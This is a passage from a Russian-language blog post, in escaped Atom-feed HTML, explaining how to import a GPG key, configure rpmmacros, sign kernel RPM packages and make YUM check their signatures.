&lt;jdoe example.com=&quot;&quot;&gt;Не забудьте сделать backup&#39;ы ключей, но не забывайте о безопасности.&lt;/jdoe&gt;&lt;/div&gt;
&lt;div&gt;
&lt;jdoe example.com=&quot;&quot;&gt;Любой кто получит ваши Private/Public может подписать RPM&#39;ы как будто это сделали вы, с&lt;/jdoe&gt;оответственно сможет причинить вред вашим пользователь.&lt;/div&gt;
&lt;div&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;br /&gt;Вы должны сделать доступным публичную часть вашего ключа на вашем web сервере (либо в &amp;nbsp;/pub директории либо в корневой директории вашего репозитория).&amp;nbsp;&lt;/jdoe&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Пример:&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;jdoe example.com=&quot;&quot;&gt;http://www.example.com/pub/RPM-GPG-KEY-MY-COMPLANY&lt;/jdoe&gt;&lt;/blockquote&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;/jdoe&gt;&lt;br /&gt;
&lt;div&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;br /&gt;&lt;/jdoe&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;Импорт приватного ключа:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Если вы хотите импортировать приватный ключ на другой сервер, или восстановиться из бэкапа, то воспользуйтесь следующей командой:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;/jdoe&gt;&lt;br /&gt;
&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ gpg --import RPM-GPG-KEY-MY-COMPLANY&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;private 
&lt;/b&gt;gpg&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; directory &lt;span style=&quot;background-color: #ffffe8;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #40015a;&quot;&gt;/home/builder&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8;&quot;&gt;gnupg&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&#39; created&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;gpg: new configuration file `/home/builder/.gnupg/gpg.conf&#39;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8;&quot;&gt; created&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8;&quot;&gt;gpg&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8;&quot;&gt; WARNING&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8;&quot;&gt; options &lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #400000; font-weight: bold;&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8;&quot;&gt; `&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;gnupg/gpg.conf&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39; are not yet active during this run&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;gpg: keyring `/home/builder/.gnupg/secring.gpg&#39;&lt;/span&gt; created
gpg&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; keyring &lt;span style=&quot;background-color: #ffffe8;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #40015a;&quot;&gt;/home/builder&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #40015a;&quot;&gt;gnupg/pubring.gpg&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&#39; created&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;gpg: key 90A42099: secret key imported&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;gpg: /home/builder/.gnupg/trustdb.gpg: trustdb created&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;gpg: key 90A42099: public key &quot;Your Name (RPM Maintainer) &lt;your_email example.com=&quot;&quot;&gt;&quot; imported&lt;/your_email&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;gpg: Total number processed: 1&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;gpg:               imported: 1  (RSA: 1)&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;gpg:       secret keys read: 1&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;gpg:   secret keys imported: 1&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;br /&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;
&lt;br /&gt;
&lt;h3&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;Подписываем RPM&#39;ки вашим GPG&amp;nbsp;ключем:&amp;nbsp;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/h3&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;br /&gt;Теперь, когда мы имеем GPG ключи, мы можем приступить к подписыванию RPM&#39;ок.&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/div&gt;
&lt;div&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;Прежде чем начать, нам следует записать еще пару строчек в ~/.rpmmacros файл:&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;br /&gt;
&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ &lt;span style=&quot;color: #bb7977;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;%_signature gpg&#39;&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; ~&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;rpmmacros
&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ &lt;span style=&quot;color: #bb7977;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;%_gpg_name Your Name (RPM Maintainer) &lt;your_email example.com=&quot;&quot;&gt;&#39;&lt;/your_email&gt;&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; ~&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;rpmmacros&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;br /&gt;Помните, что ‘%_gpg_name’ должно в точности совпадать с указанным в ключе.&amp;nbsp;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/div&gt;
&lt;div&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;Если вы забыли эту информацию, вы можете вывести список GPG ключей вашей системы:&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;br /&gt;
&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ gpg --list-keys&lt;/b&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;gnupg/pubring.gpg&lt;/span&gt;
--------------------------------
pub   &lt;span style=&quot;color: #40015a;&quot;&gt;2048R/90A42099&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;2014&lt;/span&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;02&lt;/span&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;18&lt;/span&gt;
uid                  &lt;b&gt;Your Name &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;RPM Maintainer&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;lt;&lt;/span&gt;your_email@example&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;com&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/b&gt;
sub   &lt;span style=&quot;color: #40015a;&quot;&gt;2048R/DB16927A&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;2014&lt;/span&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;02&lt;/span&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;18&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;br /&gt;&lt;jdoe example.com=&quot;&quot;&gt;Теперь, когда все подготовительные работы завершены, мы можем подписать наши RPM&#39;ки:&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;br /&gt;
&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ rpm --resign ~&lt;span style=&quot;color: #40015a;&quot;&gt;/rpmbuild/RPMS/x86_64&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;rpm
&lt;/b&gt;Enter pass phrase&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; 
Pass phrase is good&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/rpmbuild/RPMS/x86_64/kernel-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/rpmbuild/RPMS/x86_64/kernel-debug-2.6.32-431.el6.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;myorg&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/rpmbuild/RPMS/x86_64/kernel-debug-debuginfo-2.6.32-431.el6.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;myorg&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/rpmbuild/RPMS/x86_64/kernel-debug-devel-2.6.32-431.el6.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;myorg&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/rpmbuild/RPMS/x86_64/kernel-debuginfo-2.6.32-431.el6.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;myorg&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/rpmbuild/RPMS/x86_64/kernel-debuginfo-common-x86_64-2.6.32-431.el6.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;myorg&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/rpmbuild/RPMS/x86_64/kernel-devel-2.6.32-431.el6.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;myorg&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/rpmbuild/RPMS/x86_64/kernel-firmware-2.6.32-431.el6.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;myorg&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/rpmbuild/RPMS/x86_64/kernel-headers-2.6.32-431.el6.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;myorg&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/rpmbuild/RPMS/x86_64/perf-2.6.32-431.el6.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;myorg&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/rpmbuild/RPMS/x86_64/perf-debuginfo-2.6.32-431.el6.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;myorg&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/rpmbuild/RPMS/x86_64/python-perf-2.6.32-431.el6.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;myorg&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/rpmbuild/RPMS/x86_64/python-perf-debuginfo-2.6.32-431.el6.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;myorg&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;br /&gt;&lt;b&gt;Импортируем наш публичный ключ в rpm:&lt;/b&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/div&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;br /&gt;
&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ su &lt;span style=&quot;color: #44aadd;&quot;&gt;-c&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;rpm --import RPM-GPG-KEY-MY-COMPLANY.public&quot;&lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;Удостоверимся что RPM&#39;ки подписаны корректно:&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/div&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;br /&gt;
&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ rpm -qip &lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/rpmbuild/RPMS/x86_64/kernel-2.6.32-431.el6.&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;&lt;b&gt;myorg&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;.x86_64.rpm&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; grep Signature&lt;/b&gt;
Signature   &lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;RSA/SHA1&lt;/span&gt;, Tue &lt;span style=&quot;color: #c00000;&quot;&gt;18&lt;/span&gt; Feb &lt;span style=&quot;color: #c00000;&quot;&gt;2014&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;14&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;01&lt;/span&gt; PM MSK, Key ID 1c589f8e&lt;b&gt;90a42099&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Импорт публичного ключа на целевой системе:&lt;/b&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/div&gt;
&lt;div&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;Чтобы YUM устанавливал только подписанные пакеты, установите флаг ‘gpgcheck=1’ в секции описания вашего репозитория, и не забудьте импортировать публичную часть GPG ключа:&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;br /&gt;
&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ su &lt;span style=&quot;color: #44aadd;&quot;&gt;-c&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;rpm --import http:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/www.example.com/pub/RPM-GPG-KEY-MY-COMPLANY&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&quot;&lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;jdoe example.com=&quot;&quot;&gt;&lt;br /&gt;&lt;br /&gt;Источники знаний:&lt;br /&gt;http://www.gnupg.org/documentation/manuals/gnupg-devel/Unattended-GPG-key-generation.html&lt;br /&gt;http://iuscommunity.org/pages/CreatingAGPGKeyandSigningRPMs.html&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/jdoe&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_e.png?x-id=bea49913-dc62-45ed-8508-d9167038b5c1&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/1868284713819689707/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2014/03/gpg-rpm.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/1868284713819689707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/1868284713819689707'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2014/03/gpg-rpm.html' title='Создаём GPG ключ и подписываем RPM&#39;ки'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" 